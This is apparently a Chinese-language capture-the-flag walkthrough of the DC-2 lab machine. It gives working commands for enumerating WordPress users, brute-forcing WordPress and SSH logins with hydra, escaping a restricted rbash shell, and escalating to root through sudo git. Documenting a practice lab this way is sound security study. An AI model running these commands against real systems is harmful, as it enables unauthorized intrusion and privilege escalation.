DC-2
没有完整的复现出flag只是,记录一些在dc-2复现中不熟悉的东西:
ssh端口默认在22,也有可能在其他端口比如7744
1.查看 linux hosts文件(本题需要添加相关ip及域名才可以访问:
vim /etc/hosts
2.cewl字典生成工具,wpscan漏洞扫描器,hydra爆破网站账号密码,爆破ssh账号密码
cewl是一个可以爬取目标网站来生成字典的工具,本题中使用wpscan获得目标网站用户名后,爬去目标网站得到字典,最后使用wpscan/hydra爆破得到账号密码,相关命令如下(目标登陆网站使用dirb爆出来):
dirb http://192.168.178.142
wpscan --url dc-2 -e u
cewl dc-2 -w dc-2pass.dic
wpscan --url dc-2 -U dc-2users.list -P dc-2pass.dic
hydra爆破账号密码
hydra -L dc-2users.list -P dc-2pass.dic 192.168.178.142 http-form-post ‘/wp-login.php:log=USER&pwd=PASS:S=location’
这里是首先利用bp抓包,将其中的账号密码参数修改一下,写出相关payload,利用 : 分成三部分,第一部分表示爆破的页面,第二部分表示相关需要爆破的参数,第三部分表示显示成功进入目标网站的
在flag2 中提示说要换一种思路切入,结合ssh端口于是采用hydra爆破ssh账号密码,不过只搞到了tom的:
3.提权,rbash绕过,git提权
利用tom的账号ssh登陆后,找到flag3,提示使用su命令,发现无法直接使用su 命令
ssh tom@192.168.178.142 -p 7744
发现比如whoami,cat ,/ ,cp 等关键命令无法识别,查看shell:
echo $SHELL
如果没有过滤 /,可以直接使用/bash/sh 直接绕过rbash
cp命令被允许的话
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh
发现是rbash:
rbash是受限的shell的一种此外还有rbash、rksh和rsh
对shell设限制的原因:
1.提高安全性,防止黑客和渗透测试人员的入侵
2.限制一些会对系统造成危害的危险命令
3.为了提高渗透测试人员的个人能力,在一些靶机上设置受限的shell让测试人员绕过拿flag
生成rbash的方法:
cp /bin/bash /bin/rbash # 复制一个bash,重命名为rbash
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin
在test用户下新建一个.bin目录存放可以执行的命令
绕过方法:
- 使用vi 命令绕过rbash:
vi命令进入后;
:set shell=/bin/sh # 或者用/bin/bash
:shell
切换完成后添加环境变量:
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
查看系统的环境变量:
export -p
- 执行一下命令绕过:
BASH_CMDS[a]=/bin/sh;a 把/bin/bash给a变量`
export PATH=$PATH:/bin/ 加入环境变量/bin/
export PATH=$PATH:/usr/bin 加入环境变量/user/bin
成功绕过rbash:
git提权:
由flag4 提示:使用git提权,前提是git提权是无密码root命令
查看可以使用root权限的命令(无密码):
利用git进行提权
sudo git help config
sudo git -p help
如果没有rbash限制,直接输入上述命令行后,!/bin/bash 提权
成功提权,结束!